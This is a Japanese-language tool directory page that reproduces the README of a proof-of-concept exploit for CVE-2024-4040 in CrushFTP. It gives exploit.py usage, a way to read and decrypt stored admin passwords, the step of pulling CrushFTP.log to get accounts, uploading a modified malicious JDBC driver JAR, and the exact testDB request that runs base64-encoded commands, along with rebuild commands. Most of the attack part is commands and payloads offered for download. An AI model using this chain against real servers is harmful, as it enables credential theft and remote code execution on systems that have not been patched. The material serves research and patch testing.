Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-4040 — CVE-2024-4040(CrushFTP)の概念実証エクスプロイト。認証なしのファイル読み取り、資格情報の復号化、悪意のあるJARアップロードとtestDBの悪用によるリモートコード実行を提供します。 | Kitploit
ツール/GitHubGitHub/entroychang/cve-2024-4040
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040(CrushFTP)の概念実証エクスプロイト。認証なしのファイル読み取り、資格情報の復号化、悪意のあるJARアップロードとtestDBの悪用によるリモートコード実行を提供します。

リポジトリを見る
3112年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-4040

はじめに

  • 最近この脆弱性を見てとても面白いと思い、以下の記事を読んで少しエクスプロイトを書きました。
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/

ターゲットマシン

  • 他の人のDockerを使用しています。詳細は作者のGitHubを参照してください。
    • https://github.com/MarkusMcNugen/docker-CrushFTP
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

攻撃手順

パスワードの取得

  • exploit.py と decrypt.java を使用してパスワードを取得し復号します。理由は簡単に言うとキーがハードコードされており、復号可能であり、任意のファイルを読み取ることができるからです。
  • ここで注意すべき点は、デフォルトの管理者である crushadmin が存在しない場合、CrushFTP.log を取得してみてください。アカウント情報が含まれています。
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • 論理的には、まずターゲットに脆弱性があるかどうかを確認し、デフォルトで存在する4つのアカウントを使用して user.XML ファイルの取得を試みます。
  • 脆弱性が確認された後、ユーザーが指定したアカウントを取得します。指定がない場合は、デフォルトで存在する管理者アカウント crushadmin が使用されます。
  • パスワードを取得した後、decrypt.java を使用して復号します。
  • --shell オプションはRCE後の結果を便利に確認するためのものです。以下の方法でjarファイルをアップロードした後、--jar-path と --headers を指定することでコマンド実行結果を確認できます。
    • 注意点は、--headers には必ずログイン後のCookieを指定する必要があることです。例: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path のデフォルトは /tmp/mysql_cmd_db_user_final_with_echo_base64.jar です。異なる場所にある場合はパスを指定してください。理論上は相対パスでも動作しますが、絶対パスを推奨します。
    • 終了するには exit と入力します。
    • コマンド例: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

ログインしてマッピングと権限を調整

  • ログイン後、adminにアクセスします。
  • User Manager を見つけ、左側のユーザーをクリックし、マッピングしたいフォルダを User's Stuff にドラッグ&ドロップします。最後に権限を調整し、upload にチェックを入れてください。

悪意のあるjarファイルのアップロード

  • 悪意のあるjarファイルをアップロードします。既に2つコンパイル済みのものがあり、1つはJDK 16用、もう1つはJDK 13用です。サーバーのJavaバージョンに合わせて選択してください。
  • files に戻り、upload をクリックして悪意のあるjarファイルをアップロードします。

RCE

  • RCEの理由は簡単に言うと、testDB 機能があり、自分でjarファイルとドライバオブジェクトを指定でき、さらにアップロードが可能であるため、これらを組み合わせることでRCEを実現できます。
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • 画像内のコマンドは id です。
    • パラメータ db_user にbase64エンコードされたコマンドを渡すことで実行できます。
  • 私が個人的に改変した mysql connector はバージョン 5.0.4 です。
  • コンパイル済みの2つのバージョンがどちらも使用できない場合は、私が改変したバージョンを提供しますので、以下の手順で再コンパイルしてください。
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
ツールをダウンロード